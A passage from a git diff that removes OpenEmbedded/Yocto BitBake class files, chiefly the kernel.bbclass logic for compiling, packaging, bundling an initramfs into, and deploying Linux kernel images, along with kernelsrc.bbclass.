- d.setVar('PKG_%s-image-%s' % (kname,typelower), '%s-image-%s-${KERNEL_VERSION_PKG_NAME}' % (kname, typelower))
- d.setVar('ALLOW_EMPTY_%s-image-%s' % (kname, typelower), '1')
- d.setVar('pkg_postinst_%s-image-%s' % (kname,typelower), """set +e
-if [ -n "$D" ]; then
- ln -sf %s-${KERNEL_VERSION} $D/${KERNEL_IMAGEDEST}/%s > /dev/null 2>&1
-else
- ln -sf %s-${KERNEL_VERSION} ${KERNEL_IMAGEDEST}/%s > /dev/null 2>&1
- if [ $? -ne 0 ]; then
- echo "Filesystem on ${KERNEL_IMAGEDEST}/ doesn't support symlinks, falling back to copied image (%s)."
- install -m 0644 ${KERNEL_IMAGEDEST}/%s-${KERNEL_VERSION} ${KERNEL_IMAGEDEST}/%s
- fi
-fi
-set -e
-""" % (type, type, type, type, type, type, type))
- d.setVar('pkg_postrm_%s-image-%s' % (kname,typelower), """set +e
-if [ -f "${KERNEL_IMAGEDEST}/%s" -o -L "${KERNEL_IMAGEDEST}/%s" ]; then
- rm -f ${KERNEL_IMAGEDEST}/%s > /dev/null 2>&1
-fi
-set -e
-""" % (type, type, type))
-
-
- image = d.getVar('INITRAMFS_IMAGE')
- # If the INTIRAMFS_IMAGE is set but the INITRAMFS_IMAGE_BUNDLE is set to 0,
- # the do_bundle_initramfs does nothing, but the INITRAMFS_IMAGE is built
- # standalone for use by wic and other tools.
- if image:
- d.appendVarFlag('do_bundle_initramfs', 'depends', ' ${INITRAMFS_IMAGE}:do_image_complete')
-
- # NOTE: setting INITRAMFS_TASK is for backward compatibility
- # The preferred method is to set INITRAMFS_IMAGE, because
- # this INITRAMFS_TASK has circular dependency problems
- # if the initramfs requires kernel modules
- image_task = d.getVar('INITRAMFS_TASK')
- if image_task:
- d.appendVarFlag('do_configure', 'depends', ' ${INITRAMFS_TASK}')
-}
-
-# Here we pull in all various kernel image types which we support.
-#
-# In case you're wondering why kernel.bbclass inherits the other image
-# types instead of the other way around, the reason for that is to
-# maintain compatibility with various currently existing meta-layers.
-# By pulling in the various kernel image types here, we retain the
-# original behavior of kernel.bbclass, so no meta-layers should get
-# broken.
-#
-# KERNEL_CLASSES by default pulls in kernel-uimage.bbclass, since this
-# used to be the default behavior when only uImage was supported. This
-# variable can be appended by users who implement support for new kernel
-# image types.
-
-KERNEL_CLASSES ?= " kernel-uimage "
-inherit ${KERNEL_CLASSES}
-
-# Old style kernels may set ${S} = ${WORKDIR}/git for example
-# We need to move these over to STAGING_KERNEL_DIR. We can't just
-# create the symlink in advance as the git fetcher can't cope with
-# the symlink.
-do_unpack[cleandirs] += " ${S} ${STAGING_KERNEL_DIR} ${B} ${STAGING_KERNEL_BUILDDIR}"
-do_clean[cleandirs] += " ${S} ${STAGING_KERNEL_DIR} ${B} ${STAGING_KERNEL_BUILDDIR}"
-python do_symlink_kernsrc () {
- s = d.getVar("S")
- if s[-1] == '/':
- # drop trailing slash, so that os.symlink(kernsrc, s) doesn't use s as directory name and fail
- s=s[:-1]
- kernsrc = d.getVar("STAGING_KERNEL_DIR")
- if s != kernsrc:
- bb.utils.mkdirhier(kernsrc)
- bb.utils.remove(kernsrc, recurse=True)
- if d.getVar("EXTERNALSRC"):
- # With EXTERNALSRC S will not be wiped so we can symlink to it
- os.symlink(s, kernsrc)
- else:
- import shutil
- shutil.move(s, kernsrc)
- os.symlink(kernsrc, s)
-}
-addtask symlink_kernsrc before do_configure after do_unpack
-
-inherit kernel-arch deploy
-
-PACKAGES_DYNAMIC += "^${KERNEL_PACKAGE_NAME}-module-.*"
-PACKAGES_DYNAMIC += "^${KERNEL_PACKAGE_NAME}-image-.*"
-PACKAGES_DYNAMIC += "^${KERNEL_PACKAGE_NAME}-firmware-.*"
-
-export OS = "${TARGET_OS}"
-export CROSS_COMPILE = "${TARGET_PREFIX}"
-export KBUILD_BUILD_VERSION = "1"
-export KBUILD_BUILD_USER ?= "oe-user"
-export KBUILD_BUILD_HOST ?= "oe-host"
-
-KERNEL_RELEASE ?= "${KERNEL_VERSION}"
-
-# The directory where built kernel lies in the kernel tree
-KERNEL_OUTPUT_DIR ?= "arch/${ARCH}/boot"
-KERNEL_IMAGEDEST ?= "boot"
-
-#
-# configuration
-#
-export CMDLINE_CONSOLE = "console=${@d.getVar("KERNEL_CONSOLE") or "ttyS0"}"
-
-KERNEL_VERSION = "${@get_kernelversion_headers('${B}')}"
-
-KERNEL_LOCALVERSION ?= ""
-
-# kernels are generally machine specific
-PACKAGE_ARCH = "${MACHINE_ARCH}"
-
-# U-Boot support
-UBOOT_ENTRYPOINT ?= "20008000"
-UBOOT_LOADADDRESS ?= "${UBOOT_ENTRYPOINT}"
-
-# Some Linux kernel configurations need additional parameters on the command line
-KERNEL_EXTRA_ARGS ?= ""
-
-EXTRA_OEMAKE = " HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" HOSTCPP="${BUILD_CPP}""
-KERNEL_ALT_IMAGETYPE ??= ""
-
-copy_initramfs() {
- echo "Copying initramfs into ./usr ..."
- # In case the directory is not created yet from the first pass compile:
- mkdir -p ${B}/usr
- # Find and use the first initramfs image archive type we find
- rm -f ${B}/usr/${INITRAMFS_IMAGE_NAME}.cpio
- for img in cpio cpio.gz cpio.lz4 cpio.lzo cpio.lzma cpio.xz; do
- if [ -e "${DEPLOY_DIR_IMAGE}/${INITRAMFS_IMAGE_NAME}.$img" ]; then
- cp ${DEPLOY_DIR_IMAGE}/${INITRAMFS_IMAGE_NAME}.$img ${B}/usr/.
- case $img in
- *gz)
- echo "gzip decompressing image"
- gunzip -f ${B}/usr/${INITRAMFS_IMAGE_NAME}.$img
- break
- ;;
- *lz4)
- echo "lz4 decompressing image"
- lz4 -df ${B}/usr/${INITRAMFS_IMAGE_NAME}.$img ${B}/usr/${INITRAMFS_IMAGE_NAME}.cpio
- break
- ;;
- *lzo)
- echo "lzo decompressing image"
- lzop -df ${B}/usr/${INITRAMFS_IMAGE_NAME}.$img
- break
- ;;
- *lzma)
- echo "lzma decompressing image"
- lzma -df ${B}/usr/${INITRAMFS_IMAGE_NAME}.$img
- break
- ;;
- *xz)
- echo "xz decompressing image"
- xz -df ${B}/usr/${INITRAMFS_IMAGE_NAME}.$img
- break
- ;;
- esac
- break
- fi
- done
- # Verify that the above loop found a initramfs, fail otherwise
- [ -f ${B}/usr/${INITRAMFS_IMAGE_NAME}.cpio ] && echo "Finished copy of initramfs into ./usr" || die "Could not find any ${DEPLOY_DIR_IMAGE}/${INITRAMFS_IMAGE_NAME}.cpio{.gz|.lz4|.lzo|.lzma|.xz) for bundling; INITRAMFS_IMAGE_NAME might be wrong."
-}
-
-do_bundle_initramfs () {
- if [ ! -z "${INITRAMFS_IMAGE}" -a x"${INITRAMFS_IMAGE_BUNDLE}" = x1 ]; then
- echo "Creating a kernel image with a bundled initramfs..."
- copy_initramfs
- # Backing up kernel image relies on its type(regular file or symbolic link)
- tmp_path=""
- for imageType in ${KERNEL_IMAGETYPE_FOR_MAKE} ; do
- if [ -h ${KERNEL_OUTPUT_DIR}/$imageType ] ; then
- linkpath=`readlink -n ${KERNEL_OUTPUT_DIR}/$imageType`
- realpath=`readlink -fn ${KERNEL_OUTPUT_DIR}/$imageType`
- mv -f $realpath $realpath.bak
- tmp_path=$tmp_path" "$imageType"#"$linkpath"#"$realpath
- elif [ -f ${KERNEL_OUTPUT_DIR}/$imageType ]; then
- mv -f ${KERNEL_OUTPUT_DIR}/$imageType ${KERNEL_OUTPUT_DIR}/$imageType.bak
- tmp_path=$tmp_path" "$imageType"##"
- fi
- done
- use_alternate_initrd=CONFIG_INITRAMFS_SOURCE=${B}/usr/${INITRAMFS_IMAGE_NAME}.cpio
- kernel_do_compile
- # Restoring kernel image
- for tp in $tmp_path ; do
- imageType=`echo $tp|cut -d "#" -f 1`
- linkpath=`echo $tp|cut -d "#" -f 2`
- realpath=`echo $tp|cut -d "#" -f 3`
- if [ -n "$realpath" ]; then
- mv -f $realpath $realpath.initramfs
- mv -f $realpath.bak $realpath
- ln -sf $linkpath.initramfs ${B}/${KERNEL_OUTPUT_DIR}/$imageType.initramfs
- else
- mv -f ${KERNEL_OUTPUT_DIR}/$imageType ${KERNEL_OUTPUT_DIR}/$imageType.initramfs
- mv -f ${KERNEL_OUTPUT_DIR}/$imageType.bak ${KERNEL_OUTPUT_DIR}/$imageType
- fi
- done
- fi
-}
-do_bundle_initramfs[dirs] = "${B}"
-
-python do_devshell_prepend () {
- os.environ["LDFLAGS"] = ''
-}
-
-addtask bundle_initramfs after do_install before do_deploy
-
-get_cc_option () {
- # Check if KERNEL_CC supports the option "file-prefix-map".
- # This option allows us to build images with __FILE__ values that do not
- # contain the host build path.
- if ${KERNEL_CC} -Q --help=joined | grep -q "\-ffile-prefix-map=<old=new>"; then
- echo "-ffile-prefix-map=${S}=/kernel-source/"
- fi
-}
-
-kernel_do_compile() {
- unset CFLAGS CPPFLAGS CXXFLAGS LDFLAGS MACHINE
- if [ "${BUILD_REPRODUCIBLE_BINARIES}" = "1" ]; then
- # kernel sources do not use do_unpack, so SOURCE_DATE_EPOCH may not
- # be set....
- if [ "${SOURCE_DATE_EPOCH}" = "" -o "${SOURCE_DATE_EPOCH}" = "0" ]; then
- # The source directory is not necessarily a git repository, so we
- # specify the git-dir to ensure that git does not query a
- # repository in any parent directory.
- SOURCE_DATE_EPOCH=`git --git-dir="${S}/.git" log -1 --pretty=%ct 2>/dev/null || echo "${REPRODUCIBLE_TIMESTAMP_ROOTFS}"`
- fi
-
- ts=`LC_ALL=C date -d @$SOURCE_DATE_EPOCH`
- export KBUILD_BUILD_TIMESTAMP="$ts"
- export KCONFIG_NOTIMESTAMP=1
- bbnote "KBUILD_BUILD_TIMESTAMP: $ts"
- fi
- # The $use_alternate_initrd is only set from
- # do_bundle_initramfs() This variable is specifically for the
- # case where we are making a second pass at the kernel
- # compilation and we want to force the kernel build to use a
- # different initramfs image. The way to do that in the kernel
- # is to specify:
- # make ...args... CONFIG_INITRAMFS_SOURCE=some_other_initramfs.cpio
- if [ "$use_alternate_initrd" = "" ] && [ "${INITRAMFS_TASK}" != "" ] ; then
- # The old style way of copying an prebuilt image and building it
- # is turned on via INTIRAMFS_TASK != ""
- copy_initramfs
- use_alternate_initrd=CONFIG_INITRAMFS_SOURCE=${B}/usr/${INITRAMFS_IMAGE_NAME}.cpio
- fi
- cc_extra=$(get_cc_option)
- for typeformake in ${KERNEL_IMAGETYPE_FOR_MAKE} ; do
- oe_runmake ${typeformake} CC="${KERNEL_CC} $cc_extra " LD="${KERNEL_LD}" ${KERNEL_EXTRA_ARGS} $use_alternate_initrd
- done
- # vmlinux.gz is not built by kernel
- if (echo "${KERNEL_IMAGETYPES}" | grep -wq "vmlinux\.gz"); then
- mkdir -p "${KERNEL_OUTPUT_DIR}"
- gzip -9cn < ${B}/vmlinux > "${KERNEL_OUTPUT_DIR}/vmlinux.gz"
- fi
-}
-
-do_compile_kernelmodules() {
- unset CFLAGS CPPFLAGS CXXFLAGS LDFLAGS MACHINE
- if [ "${BUILD_REPRODUCIBLE_BINARIES}" = "1" ]; then
- # kernel sources do not use do_unpack, so SOURCE_DATE_EPOCH may not
- # be set....
- if [ "${SOURCE_DATE_EPOCH}" = "" -o "${SOURCE_DATE_EPOCH}" = "0" ]; then
- # The source directory is not necessarily a git repository, so we
- # specify the git-dir to ensure that git does not query a
- # repository in any parent directory.
- SOURCE_DATE_EPOCH=`git --git-dir="${S}/.git" log -1 --pretty=%ct 2>/dev/null || echo "${REPRODUCIBLE_TIMESTAMP_ROOTFS}"`
- fi
-
- ts=`LC_ALL=C date -d @$SOURCE_DATE_EPOCH`
- export KBUILD_BUILD_TIMESTAMP="$ts"
- export KCONFIG_NOTIMESTAMP=1
- bbnote "KBUILD_BUILD_TIMESTAMP: $ts"
- fi
- if (grep -q -i -e '^CONFIG_MODULES=y$' ${B}/.config); then
- cc_extra=$(get_cc_option)
- oe_runmake -C ${B} ${PARALLEL_MAKE} modules CC="${KERNEL_CC} $cc_extra " LD="${KERNEL_LD}" ${KERNEL_EXTRA_ARGS}
-
- # Module.symvers gets updated during the
- # building of the kernel modules. We need to
- # update this in the shared workdir since some
- # external kernel modules has a dependency on
- # other kernel modules and will look at this
- # file to do symbol lookups
- cp ${B}/Module.symvers ${STAGING_KERNEL_BUILDDIR}/
- else
- bbnote "no modules to compile"
- fi
-}
-addtask compile_kernelmodules after do_compile before do_strip
-
-kernel_do_install() {
- #
- # First install the modules
- #
- unset CFLAGS CPPFLAGS CXXFLAGS LDFLAGS MACHINE
- if (grep -q -i -e '^CONFIG_MODULES=y$' .config); then
- oe_runmake DEPMOD=echo MODLIB=${D}${nonarch_base_libdir}/modules/${KERNEL_VERSION} INSTALL_FW_PATH=${D}${nonarch_base_libdir}/firmware modules_install
- rm "${D}${nonarch_base_libdir}/modules/${KERNEL_VERSION}/build"
- rm "${D}${nonarch_base_libdir}/modules/${KERNEL_VERSION}/source"
- # If the kernel/ directory is empty remove it to prevent QA issues
- rmdir --ignore-fail-on-non-empty "${D}${nonarch_base_libdir}/modules/${KERNEL_VERSION}/kernel"
- else
- bbnote "no modules to install"
- fi
-
- #
- # Install various kernel output (zImage, map file, config, module support files)
- #
- install -d ${D}/${KERNEL_IMAGEDEST}
- install -d ${D}/boot
- for imageType in ${KERNEL_IMAGETYPES} ; do
- install -m 0644 ${KERNEL_OUTPUT_DIR}/${imageType} ${D}/${KERNEL_IMAGEDEST}/${imageType}-${KERNEL_VERSION}
- done
- install -m 0644 System.map ${D}/boot/System.map-${KERNEL_VERSION}
- install -m 0644 .config ${D}/boot/config-${KERNEL_VERSION}
- install -m 0644 vmlinux ${D}/boot/vmlinux-${KERNEL_VERSION}
- [ -e Module.symvers ] && install -m 0644 Module.symvers ${D}/boot/Module.symvers-${KERNEL_VERSION}
- install -d ${D}${sysconfdir}/modules-load.d
- install -d ${D}${sysconfdir}/modprobe.d
-}
-do_install[prefuncs] += "package_get_auto_pr"
-
-# Must be ran no earlier than after do_kernel_checkout or else Makefile won't be in ${S}/Makefile
-do_kernel_version_sanity_check() {
- if [ "x${KERNEL_VERSION_SANITY_SKIP}" = "x1" ]; then
- exit 0
- fi
-
- # The Makefile determines the kernel version shown at runtime
- # Don't use KERNEL_VERSION because the headers it grabs the version from aren't generated until do_compile
- VERSION=$(grep "^VERSION =" ${S}/Makefile | sed s/.*=\ *//)
- PATCHLEVEL=$(grep "^PATCHLEVEL =" ${S}/Makefile | sed s/.*=\ *//)
- SUBLEVEL=$(grep "^SUBLEVEL =" ${S}/Makefile | sed s/.*=\ *//)
- EXTRAVERSION=$(grep "^EXTRAVERSION =" ${S}/Makefile | sed s/.*=\ *//)
-
- # Build a string for regex and a plain version string
- reg="^${VERSION}\.${PATCHLEVEL}"
- vers="${VERSION}.${PATCHLEVEL}"
- if [ -n "${SUBLEVEL}" ]; then
- # Ignoring a SUBLEVEL of zero is fine
- if [ "${SUBLEVEL}" = "0" ]; then
- reg="${reg}(\.${SUBLEVEL})?"
- else
- reg="${reg}\.${SUBLEVEL}"
- vers="${vers}.${SUBLEVEL}"
- fi
- fi
- vers="${vers}${EXTRAVERSION}"
- reg="${reg}${EXTRAVERSION}"
-
- if [ -z `echo ${PV} | grep -E "${reg}"` ]; then
- bbfatal "Package Version (${PV}) does not match of kernel being built (${vers}). Please update the PV variable to match the kernel source or set KERNEL_VERSION_SANITY_SKIP=\"1\" in your recipe."
- fi
- exit 0
-}
-
-addtask shared_workdir after do_compile before do_compile_kernelmodules
-addtask shared_workdir_setscene
-
-do_shared_workdir_setscene () {
- exit 1
-}
-
-emit_depmod_pkgdata() {
- # Stash data for depmod
- install -d ${PKGDESTWORK}/${KERNEL_PACKAGE_NAME}-depmod/
- echo "${KERNEL_VERSION}" > ${PKGDESTWORK}/${KERNEL_PACKAGE_NAME}-depmod/${KERNEL_PACKAGE_NAME}-abiversion
- cp ${B}/System.map ${PKGDESTWORK}/${KERNEL_PACKAGE_NAME}-depmod/System.map-${KERNEL_VERSION}
-}
-
-PACKAGEFUNCS += "emit_depmod_pkgdata"
-
-do_shared_workdir[cleandirs] += " ${STAGING_KERNEL_BUILDDIR}"
-do_shared_workdir () {
- cd ${B}
-
- kerneldir=${STAGING_KERNEL_BUILDDIR}
- install -d $kerneldir
-
- #
- # Store the kernel version in sysroots for module-base.bbclass
- #
-
- echo "${KERNEL_VERSION}" > $kerneldir/${KERNEL_PACKAGE_NAME}-abiversion
-
- # Copy files required for module builds
- cp System.map $kerneldir/System.map-${KERNEL_VERSION}
- [ -e Module.symvers ] && cp Module.symvers $kerneldir/
- cp .config $kerneldir/
- mkdir -p $kerneldir/include/config
- cp include/config/kernel.release $kerneldir/include/config/kernel.release
- if [ -e certs/signing_key.x509 ]; then
- # The signing_key.* files are stored in the certs/ dir in
- # newer Linux kernels
- mkdir -p $kerneldir/certs
- cp certs/signing_key.* $kerneldir/certs/
- elif [ -e signing_key.priv ]; then
- cp signing_key.* $kerneldir/
- fi
-
- # We can also copy over all the generated files and avoid special cases
- # like version.h, but we've opted to keep this small until file creep starts
- # to happen
- if [ -e include/linux/version.h ]; then
- mkdir -p $kerneldir/include/linux
- cp include/linux/version.h $kerneldir/include/linux/version.h
- fi
-
- # As of Linux kernel version 3.0.1, the clean target removes
- # arch/powerpc/lib/crtsavres.o which is present in
- # KBUILD_LDFLAGS_MODULE, making it required to build external modules.
- if [ ${ARCH} = "powerpc" ]; then
- if [ -e arch/powerpc/lib/crtsavres.o ]; then
- mkdir -p $kerneldir/arch/powerpc/lib/
- cp arch/powerpc/lib/crtsavres.o $kerneldir/arch/powerpc/lib/crtsavres.o
- fi
- fi
-
- if [ -d include/generated ]; then
- mkdir -p $kerneldir/include/generated/
- cp -fR include/generated/* $kerneldir/include/generated/
- fi
-
- if [ -d arch/${ARCH}/include/generated ]; then
- mkdir -p $kerneldir/arch/${ARCH}/include/generated/
- cp -fR arch/${ARCH}/include/generated/* $kerneldir/arch/${ARCH}/include/generated/
- fi
-
- if (grep -q -i -e '^CONFIG_UNWINDER_ORC=y$' $kerneldir/.config); then
- # With CONFIG_UNWINDER_ORC (the default in 4.14), objtool is required for
- # out-of-tree modules to be able to generate object files.
- if [ -x tools/objtool/objtool ]; then
- mkdir -p ${kerneldir}/tools/objtool
- cp tools/objtool/objtool ${kerneldir}/tools/objtool/
- fi
- fi
-}
-
-# We don't need to stage anything, not the modules/firmware since those would clash with linux-firmware
-sysroot_stage_all () {
- :
-}
-
-KERNEL_CONFIG_COMMAND ?= "oe_runmake_call -C ${S} CC="${KERNEL_CC}" LD="${KERNEL_LD}" O=${B} olddefconfig || oe_runmake -C ${S} O=${B} CC="${KERNEL_CC}" LD="${KERNEL_LD}" oldnoconfig"
-
-python check_oldest_kernel() {
- oldest_kernel = d.getVar('OLDEST_KERNEL')
- kernel_version = d.getVar('KERNEL_VERSION')
- tclibc = d.getVar('TCLIBC')
- if tclibc == 'glibc':
- kernel_version = kernel_version.split('-', 1)[0]
- if oldest_kernel and kernel_version:
- if bb.utils.vercmp_string(kernel_version, oldest_kernel) < 0:
- bb.warn('%s: OLDEST_KERNEL is "%s" but the version of the kernel you are building is "%s" - therefore %s as built may not be compatible with this kernel. Either set OLDEST_KERNEL to an older version, or build a newer kernel.' % (d.getVar('PN'), oldest_kernel, kernel_version, tclibc))
-}
-
-check_oldest_kernel[vardepsexclude] += "OLDEST_KERNEL KERNEL_VERSION"
-do_configure[prefuncs] += "check_oldest_kernel"
-
-kernel_do_configure() {
- # fixes extra + in /lib/modules/2.6.37+
- # $ scripts/setlocalversion . => +
- # $ make kernelversion => 2.6.37
- # $ make kernelrelease => 2.6.37+
- touch ${B}/.scmversion ${S}/.scmversion
-
- if [ "${S}" != "${B}" ] && [ -f "${S}/.config" ] && [ ! -f "${B}/.config" ]; then
- mv "${S}/.config" "${B}/.config"
- fi
-
- # Copy defconfig to .config if .config does not exist. This allows
- # recipes to manage the .config themselves in do_configure_prepend().
- if [ -f "${WORKDIR}/defconfig" ] && [ ! -f "${B}/.config" ]; then
- cp "${WORKDIR}/defconfig" "${B}/.config"
- fi
-
- ${KERNEL_CONFIG_COMMAND}
-}
-
-do_savedefconfig() {
- bbplain "Saving defconfig to:\n${B}/defconfig"
- oe_runmake -C ${B} savedefconfig
-}
-do_savedefconfig[nostamp] = "1"
-addtask savedefconfig after do_configure
-
-inherit cml1
-
-KCONFIG_CONFIG_COMMAND_append = " HOSTLDFLAGS='${BUILD_LDFLAGS}'"
-
-EXPORT_FUNCTIONS do_compile do_install do_configure
-
-# kernel-base becomes kernel-${KERNEL_VERSION}
-# kernel-image becomes kernel-image-${KERNEL_VERSION}
-PACKAGES = "${KERNEL_PACKAGE_NAME} ${KERNEL_PACKAGE_NAME}-base ${KERNEL_PACKAGE_NAME}-vmlinux ${KERNEL_PACKAGE_NAME}-image ${KERNEL_PACKAGE_NAME}-dev ${KERNEL_PACKAGE_NAME}-modules"
-FILES_${PN} = ""
-FILES_${KERNEL_PACKAGE_NAME}-base = "${nonarch_base_libdir}/modules/${KERNEL_VERSION}/modules.order ${nonarch_base_libdir}/modules/${KERNEL_VERSION}/modules.builtin ${nonarch_base_libdir}/modules/${KERNEL_VERSION}/modules.builtin.modinfo"
-FILES_${KERNEL_PACKAGE_NAME}-image = ""
-FILES_${KERNEL_PACKAGE_NAME}-dev = "/boot/System.map* /boot/Module.symvers* /boot/config* ${KERNEL_SRC_PATH} ${nonarch_base_libdir}/modules/${KERNEL_VERSION}/build"
-FILES_${KERNEL_PACKAGE_NAME}-vmlinux = "/boot/vmlinux-${KERNEL_VERSION_NAME}"
-FILES_${KERNEL_PACKAGE_NAME}-modules = ""
-RDEPENDS_${KERNEL_PACKAGE_NAME} = "${KERNEL_PACKAGE_NAME}-base"
-# Allow machines to override this dependency if kernel image files are
-# not wanted in images as standard
-RDEPENDS_${KERNEL_PACKAGE_NAME}-base ?= "${KERNEL_PACKAGE_NAME}-image"
-PKG_${KERNEL_PACKAGE_NAME}-image = "${KERNEL_PACKAGE_NAME}-image-${@legitimize_package_name(d.getVar('KERNEL_VERSION'))}"
-RDEPENDS_${KERNEL_PACKAGE_NAME}-image += "${@oe.utils.conditional('KERNEL_IMAGETYPE', 'vmlinux', '${KERNEL_PACKAGE_NAME}-vmlinux', '', d)}"
-PKG_${KERNEL_PACKAGE_NAME}-base = "${KERNEL_PACKAGE_NAME}-${@legitimize_package_name(d.getVar('KERNEL_VERSION'))}"
-RPROVIDES_${KERNEL_PACKAGE_NAME}-base += "${KERNEL_PACKAGE_NAME}-${KERNEL_VERSION}"
-ALLOW_EMPTY_${KERNEL_PACKAGE_NAME} = "1"
-ALLOW_EMPTY_${KERNEL_PACKAGE_NAME}-base = "1"
-ALLOW_EMPTY_${KERNEL_PACKAGE_NAME}-image = "1"
-ALLOW_EMPTY_${KERNEL_PACKAGE_NAME}-modules = "1"
-DESCRIPTION_${KERNEL_PACKAGE_NAME}-modules = "Kernel modules meta package"
-
-pkg_postinst_${KERNEL_PACKAGE_NAME}-base () {
- if [ ! -e "$D/lib/modules/${KERNEL_VERSION}" ]; then
- mkdir -p $D/lib/modules/${KERNEL_VERSION}
- fi
- if [ -n "$D" ]; then
- depmodwrapper -a -b $D ${KERNEL_VERSION}
- else
- depmod -a ${KERNEL_VERSION}
- fi
-}
-
-PACKAGESPLITFUNCS_prepend = "split_kernel_packages "
-
-python split_kernel_packages () {
- do_split_packages(d, root='${nonarch_base_libdir}/firmware', file_regex=r'^(.*)\.(bin|fw|cis|csp|dsp)$', output_pattern='${KERNEL_PACKAGE_NAME}-firmware-%s', description='Firmware for %s', recursive=True, extra_depends='')
-}
-
-# Many scripts want to look in arch/$arch/boot for the bootable
-# image. This poses a problem for vmlinux and vmlinuz based
-# booting. This task arranges to have vmlinux and vmlinuz appear
-# in the normalized directory location.
-do_kernel_link_images() {
- if [ ! -d "${B}/arch/${ARCH}/boot" ]; then
- mkdir ${B}/arch/${ARCH}/boot
- fi
- cd ${B}/arch/${ARCH}/boot
- ln -sf ../../../vmlinux
- if [ -f ../../../vmlinuz ]; then
- ln -sf ../../../vmlinuz
- fi
- if [ -f ../../../vmlinuz.bin ]; then
- ln -sf ../../../vmlinuz.bin
- fi
- if [ -f ../../../vmlinux.64 ]; then
- ln -sf ../../../vmlinux.64
- fi
-}
-addtask kernel_link_images after do_compile before do_strip
-
-do_strip() {
- if [ -n "${KERNEL_IMAGE_STRIP_EXTRA_SECTIONS}" ]; then
- if ! (echo "${KERNEL_IMAGETYPES}" | grep -wq "vmlinux"); then
- bbwarn "image type(s) will not be stripped (not supported): ${KERNEL_IMAGETYPES}"
- return
- fi
-
- cd ${B}
- headers=`"$CROSS_COMPILE"readelf -S ${KERNEL_OUTPUT_DIR}/vmlinux | \
- grep "^ \{1,\}\[[0-9 ]\{1,\}\] [^ ]" | \
- sed "s/^ \{1,\}\[[0-9 ]\{1,\}\] //" | \
- gawk '{print $1}'`
-
- for str in ${KERNEL_IMAGE_STRIP_EXTRA_SECTIONS}; do {
- if ! (echo "$headers" | grep -q "^$str$"); then
- bbwarn "Section not found: $str";
- fi
-
- "$CROSS_COMPILE"strip -s -R $str ${KERNEL_OUTPUT_DIR}/vmlinux
- }; done
-
- bbnote "KERNEL_IMAGE_STRIP_EXTRA_SECTIONS is set, stripping sections:" \
- "${KERNEL_IMAGE_STRIP_EXTRA_SECTIONS}"
- fi;
-}
-do_strip[dirs] = "${B}"
-
-addtask strip before do_sizecheck after do_kernel_link_images
-
-# Support checking the kernel size since some kernels need to reside in partitions
-# with a fixed length or there is a limit in transferring the kernel to memory.
-# If more than one image type is enabled, warn on any that don't fit but only fail
-# if none fit.
-do_sizecheck() {
- if [ ! -z "${KERNEL_IMAGE_MAXSIZE}" ]; then
- invalid=`echo ${KERNEL_IMAGE_MAXSIZE} | sed 's/[0-9]//g'`
- if [ -n "$invalid" ]; then
- die "Invalid KERNEL_IMAGE_MAXSIZE: ${KERNEL_IMAGE_MAXSIZE}, should be an integer (The unit is Kbytes)"
- fi
- at_least_one_fits=
- for imageType in ${KERNEL_IMAGETYPES} ; do
- size=`du -ks ${B}/${KERNEL_OUTPUT_DIR}/$imageType | awk '{print $1}'`
- if [ $size -ge ${KERNEL_IMAGE_MAXSIZE} ]; then
- bbwarn "This kernel $imageType (size=$size(K) > ${KERNEL_IMAGE_MAXSIZE}(K)) is too big for your device."
- else
- at_least_one_fits=y
- fi
- done
- if [ -z "$at_least_one_fits" ]; then
- die "All kernel images are too big for your device. Please reduce the size of the kernel by making more of it modular."
- fi
- fi
-}
-do_sizecheck[dirs] = "${B}"
-
-addtask sizecheck before do_install after do_strip
-
-inherit kernel-artifact-names
-
-kernel_do_deploy() {
- deployDir="${DEPLOYDIR}"
- if [ -n "${KERNEL_DEPLOYSUBDIR}" ]; then
- deployDir="${DEPLOYDIR}/${KERNEL_DEPLOYSUBDIR}"
- mkdir "$deployDir"
- fi
-
- for imageType in ${KERNEL_IMAGETYPES} ; do
- base_name=${imageType}-${KERNEL_IMAGE_NAME}
- install -m 0644 ${KERNEL_OUTPUT_DIR}/${imageType} $deployDir/${base_name}.bin
- symlink_name=${imageType}-${KERNEL_IMAGE_LINK_NAME}
- ln -sf ${base_name}.bin $deployDir/${symlink_name}.bin
- ln -sf ${base_name}.bin $deployDir/${imageType}
- done
-
- if [ ${MODULE_TARBALL_DEPLOY} = "1" ] && (grep -q -i -e '^CONFIG_MODULES=y$' .config); then
- mkdir -p ${D}${root_prefix}/lib
- if [ -n "${SOURCE_DATE_EPOCH}" ]; then
- TAR_ARGS="--sort=name --clamp-mtime --mtime=@${SOURCE_DATE_EPOCH}"
- else
- TAR_ARGS=""
- fi
- TAR_ARGS="$TAR_ARGS --owner=0 --group=0"
- tar $TAR_ARGS -cv -C ${D}${root_prefix} lib | gzip -9n > $deployDir/modules-${MODULE_TARBALL_NAME}.tgz
-
- ln -sf modules-${MODULE_TARBALL_NAME}.tgz $deployDir/modules-${MODULE_TARBALL_LINK_NAME}.tgz
- fi
-
- if [ ! -z "${INITRAMFS_IMAGE}" -a x"${INITRAMFS_IMAGE_BUNDLE}" = x1 ]; then
- for imageType in ${KERNEL_IMAGETYPES} ; do
- if [ "$imageType" = "fitImage" ] ; then
- continue
- fi
- initramfs_base_name=${imageType}-${INITRAMFS_NAME}
- initramfs_symlink_name=${imageType}-${INITRAMFS_LINK_NAME}
- install -m 0644 ${KERNEL_OUTPUT_DIR}/${imageType}.initramfs $deployDir/${initramfs_base_name}.bin
- ln -sf ${initramfs_base_name}.bin $deployDir/${initramfs_symlink_name}.bin
- done
- fi
-}
-do_deploy[prefuncs] += "package_get_auto_pr"
-
-addtask deploy after do_populate_sysroot do_packagedata
-
-EXPORT_FUNCTIONS do_deploy
-
-# Add using Device Tree support
-inherit kernel-devicetree
diff --git a/meta/classes/kernelsrc.bbclass b/meta/classes/kernelsrc.bbclass
deleted file mode 100644
index a951ba3325..0000000000
--- a/meta/classes/kernelsrc.bbclass
+++ /dev/null
@@ -1,10 +0,0 @@
-S = "${STAGING_KERNEL_DIR}"
-deltask do_fetch
-deltask do_unpack
-do_patch[depends] += "virtual/kernel:do_shared_workdir"
-do_patch[noexec] = "1"
-do_package[depends] += "virtual/kernel:do_populate_sysroot"
-KERNEL_VERSION = "${@get_kernelversion_file("${STAGING_KERNEL_BUILDDIR}")}"
-
-inherit linux-kernel-base
-
diff --git a/meta/classes/lib_package.bbclass b/meta/classes/lib_package.bbclass
deleted file mode 100644
index 8849f59042..0000000000
--- a/meta/classes/lib_package.bbclass
+++ /dev/null
@@ -1,7 +0,0 @@
-#
-# ${PN}-bin is defined in bitbake.conf
